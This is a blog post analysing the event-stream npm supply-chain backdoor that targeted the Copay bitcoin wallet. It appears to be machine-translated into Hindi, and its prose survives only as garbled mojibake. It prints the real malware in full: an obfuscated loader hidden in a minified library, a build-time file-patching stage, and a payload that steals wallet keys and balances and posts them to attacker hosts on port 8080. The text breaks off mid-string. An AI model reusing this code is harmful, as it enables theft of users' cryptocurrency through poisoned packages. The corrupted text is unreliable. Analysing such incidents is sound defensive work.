рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░реЗрдВ

рдпрджрд┐ рдЖрдк рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╢реЛрд░ рджреЗрдЦрд╛ред ( рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдкреЛрд╕реНрдЯ рднреА рд╣реИрдмрд░ рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реБрдИ рдереАред ) рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рд╕реНрдерд┐рддрд┐ рдХрд╛ рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд┐рддреБрдм рдХреЗ рдореБрджреНрджреЗ рдкрд░ 600 рд╕реЗ рдЕрдзрд┐рдХ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рджрдлрди рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдПрдирдкреАрдПрдо рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд▓реМ рд╣реИрдВ, рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдУрдкрди-рд╕реЛрд░реНрд╕ред рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдХрд┐ рдпрд╣ рдмреБрд░рд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рддрдХрдиреАрдХреА рджреГрд╖реНрдЯрд┐ рд╕реЗ рдЕрд╕рд╛рдзрд╛рд░рдг рд░реВрдк рд╕реЗ рд╕реНрдорд╛рд░реНрдЯ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ, рдФрд░ рдпрд╣ рд╣рдореЗрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдмрдХ рднреА рд╕рд┐рдЦрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдПрдХ рдкреЛрд╕реНрдЯ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рдпрд╣ рд╣рдорд▓рд╛ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдореБрджрд╛рдп рдмреЗрд╣рддрд░ рдмрдЪрд╛рд╡ рдХрд░ рд╕рдХрддрд╛ рд╣реИред


рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдореИрдВ рдЙрдирдХреА рдЙрддреНрдХреГрд╖реНрдЯ рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП FallingSnow , maths22 рдФрд░ joepie91 рдХреЛ рдзрдиреНрдпрд╡рд╛рдж рджреЗрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред рдЙрдиреНрд╣реЛрдВрдиреЗ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рд╕рд╛рд░реА рдореЗрд╣рдирдд рдХреАред рдмрд╛рдж рдореЗрдВ рдкрд╛рда рдореЗрдВ рдореИрдВ рдЙрдирдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рд╣рд╡рд╛рд▓рд╛ рджреЗрддрд╛ рд╣реВрдВ рдЬреЛ рд▓реЗрдЦрдХрддреНрд╡ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдореИрдВрдиреЗ рдпрд╣ рд╕рдм рдХрд╛рдо рдЦреБрдж рдирд╣реАрдВ рдХрд┐рдпрд╛ред рдореИрдВ рдмрд╕ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реВрдВ рдХрд┐ рджреВрд╕рд░реЛрдВ рдиреЗ рдХреНрдпрд╛ рдкрд╛рдпрд╛ рд╣реИред


рдкреНрд░рд╛рдЧрд┐рддрд┐рд╣рд╛рд╕


рдИрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдПрдирдкреАрдПрдо рдореЙрдбреНрдпреВрд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдиреЛрдб.рдЬреЗрдПрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рд╣реИрдВред рдЕрдм рдЗрд╕реЗ рджреИрдирд┐рдХ рд░реВрдк рд╕реЗ 1.9 рдорд┐рд▓рд┐рдпрди рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд╣ рдХрдИ рд╡рд░реНрд╖реЛрдВ рд╕реЗ рд╕рдХреНрд░рд┐рдп рд╡рд┐рдХрд╛рд╕ рдореЗрдВ рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХрд╛ рд▓реЗрдЦрдХ, рдбреЛрдорд┐рдирд┐рдХ рдЯреИрд░ , рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЕрдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдм рд╡реНрдпрдХреНрддрд┐рдЧрдд рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЙрд╕реЗ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред


рдордзреНрдп рд╕рд┐рддрдВрдмрд░ рдХреЗ рдЖрд╕рдкрд╛рд╕, рдореЙрдбреНрдпреВрд▓ рд░рд╛рдЗрдЯ рдХрд╛ рд╕рдорд░реНрдерди рд▓реЗрдиреЗ рдХрд╛ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЧрдпрд╛ right9ctrl (GitHub рдЦрд╛рддрд╛ рдЕрдм рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ред рдбреЛрдорд┐рдирд┐рдХ рд╕рд╣рдордд рд╣реЛ рдЧрдпрд╛ рдФрд░ рдЙрд╕рдиреЗ Github рдФрд░ npm рдХреЛ рд░рд╛рдЗрдЯ 9ctrl рдПрдХреНрд╕реЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдпрд╛ред рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ рдХрдорд┐рдЯ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рджрд┐рдЦрддрд╛ рд╣реИ:



рдЧрд┐рддреБрдм рдкрд░ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдкреНрд░рддрд┐рдмрджреНрдз рдЗрддрд┐рд╣рд╛рд╕ рдХрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ


9 рд╕рд┐рддрдВрдмрд░ рдХреЛ, right9ctrl рдиреЗ рдПрдХ рдирдпрд╛ flatmap-stream рдореЙрдбреНрдпреВрд▓ рдЬреЛрдбрд╝рд╛ , рдЬреЛ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ event-stream рд▓рд┐рдП flatmap рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдПрдХ рдЙрдкрдпреБрдХреНрдд рд╕рдорд╛рдзрд╛рди, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдорд╛рди рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдереА, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдирд┐рдпрдорд┐рдд map )ред рдлрд┐рд░, 16 рд╕рд┐рддрдВрдмрд░ рдХреЛ, right9ctrl рдиреЗ flatmap-stream рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдФрд░ рд╕реАрдзреЗ flatmap рд╡рд┐рдзрд┐ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ред рдФрд░ рдлрд┐рд░ рд╕реЗ, рдХреБрдЫ рднреА рдкрд░реЗрд╢рд╛рди рдирд╣реАрдВ рд╣реИ, рдПрдХ рдирдИ рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рдЕрд╕рд╛рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ, рдФрд░ рдлрд┐рд░ рдХреБрдЫ рджрд┐рдиреЛрдВ рдореЗрдВ рддрдп рдХрд░реЗрдВ рдХрд┐ рдЦреБрдж рдХреЛ рдПрдХ рд╣реА рдЪреАрдЬ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╣реЛрдЧрд╛ред


рдЖрдХреНрд░рдордг


рдлрд╝реНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рд▓рд╛рдЗрдмреНрд░реЗрд░реА рднреА рд╣рд╛рдирд┐рд░рд╣рд┐рдд рджрд┐рдЦрддреА рд╣реИ - рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕рдореЗрдВ рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд▓рд┐рдП рдПрдХ рдлреНрд▓реИрдЯ рдореИрдк рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реЛрддрд╛ рд╣реИ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреБрдЫ рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдП - рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдХреЗрд╡рд▓ рдПрдХ рдпреЛрдЧрджрд╛рдирдХрд░реНрддрд╛ рд╣реИ рдФрд░ npm рд╕реЗ рдЗрд╕ рдмрд┐рдВрджреБ рддрдХ рдХреЛрдИ рдбрд╛рдЙрдирд▓реЛрдб рдирд╣реАрдВ рд╣реИ)ред



GitHub рдкрд░ рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдкреГрд╖реНрда рдХрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ


рд╣рд╛рд▓рд╛рдБрдХрд┐, npm рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдПрдХ minified рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЛрдб рдерд╛, рдЬрд┐рд╕реЗ рдЖрдк рд╢рд╛рдпрдж рдиреЛрдЯрд┐рд╕ рднреА рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ, рдпрд╣ рдЬрд╛рдирддреЗ рд╣реБрдП рднреА рдХрд┐ рдпрд╣ рд╡рд╣рд╛рдБ рд╣реИ:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

рдпрд╣рд╛рдВ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рднрд╛рдЧ рдЕрдВрдд рдореЗрдВ рд╣реИ, рдФрд░ рдЗрд╕рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдмрд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

рдЧрд┐рдереБрдм рдХреЗ рдПрдХ рдЕрдВрдХ рдореЗрдВ, рдлреЙрд▓рд┐рдВрдЧрд╕реНрд╡рди рдиреЗ рдмреБрдХрдорд╛рд░реНрдХ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдФрд░ рджрд┐рдЦрд╛рдпрд╛ рдХрд┐ рд╡рд╣рд╛рдВ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣рд╛ рдерд╛:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

рдЗрд╕рд▓рд┐рдП, рдХреЛрдб ./test/data.js рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ GitHub рдкрд░ рд╕реНрд░реЛрдд рдХреЛрдб рдХреА рдХрдореА рдХреЗ рдмрд╛рд╡рдЬреВрдж ./test/data.js рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рднреА рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ AES256 рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рддрд╛рд░ рдХреА рдПрдХ рд╕рд░рдгреА рд╣реИред npm_package_description рдПрдирд╡рд╛рдпрд░рдирдореЗрдВрдЯ npm_package_description рдХрдорд╛рдВрдб рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдХреЛрдб рдХреЛ рдХреБрдЫ рдкреИрдХреЗрдЬ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рддреН рд░реВрдЯ рдкреИрдХреЗрдЬ, рдЬрд┐рд╕рдореЗрдВ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо -> рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдирд┐рд░реНрднрд░рддрд╛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ npm_package_description (рдФрд░ рдЕрдиреНрдп рд╕рдорд╛рди рдЪрд░) рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред ( рдиреЛрдЯ: рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, рдЖрдкрдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдкреИрдХреЗрдЬред Json рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд╡рд┐рд╡рд░рдг рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдиреЗ рдЗрд╕ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рд╣реИ ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХреЛрдб рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ test/data.js рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ test/data.js рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдкрд░рд┐рдгрд╛рдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред


рдкреИрдХреЗрдЯ рдХреЗ рд╡рд┐рд╢рд╛рд▓ рдмрд╣реБрдордд рдХреЗ рд▓рд┐рдП, рдпрд╣ рдПрдХ рддреНрд░реБрдЯрд┐ рдкреИрджрд╛ рдХрд░реЗрдЧрд╛ (рдЬреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЪреБрдкрдЪрд╛рдк рдкрдХрдбрд╝ рд▓реЗрдЧрд╛ рдФрд░ рдЕрдирджреЗрдЦрд╛ рдХрд░реЗрдЧрд╛), рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдХрд╛ рд╡рд┐рд╡рд░рдг AES256 рд╕рд┐рдлрд░ рдХреЗ рд▓рд┐рдП рд╕рд╣реА рдХреБрдВрдЬреА рдирд╣реАрдВ рд╣реИ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдмрдХрд╡рд╛рд╕ рд╣реЛрдЧрд╛ред рдпрд╣ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреИрдХреЗрдЬ рдкрд░ рдмрд╣реБрдд рд▓рдХреНрд╖рд┐рдд рд╣рдорд▓рд╛ рд╣реИред maths22 рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдиреЗ npm- рдореЙрдбреНрдпреВрд▓ рдХреА рдПрдХ рд╕реВрдЪреА рдбрд╛рдЙрдирд▓реЛрдб рдХреА, рдЬреЛ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдФрд░ рдЗрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЫрдВрдЯрдиреА рдХрд░рддреЗ рд╣реБрдП, рд╣рдордиреЗ рд╕рд╣реА рдХреБрдВрдЬреА рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдФрд░ рд▓рдХреНрд╖реНрдп рдкреИрдХреЗрдЬ рдкрд╛рдпрд╛: рдпрд╣ рдХреЛрдкреЗ-рдбреИрд╢ рдерд╛ , рдмрд┐рдЯрдХреЙрдЗрди рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдордВрдЪред рдЗрд╕рдХрд╛ рд╡рд┐рд╡рд░рдг, "рдП рд╕рд┐рдХреНрдпреЛрд░ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ", рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ test/data.js рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ test/data.js , рдирд┐рдореНрди рдХреЛрдб рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ (рдХреГрдкрдпрд╛ рдЬреЙрдпрдкреА91 рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

рдпрд╣ рдХреЛрдб рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рджреВрд╕рд░рд╛ рд╕реНрддрд░ рд▓реЙрдиреНрдЪ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕ рдкрд░ рдЕрдВрддрд┐рдо рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЦреБрд▓рддреА рд╣реИ:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / 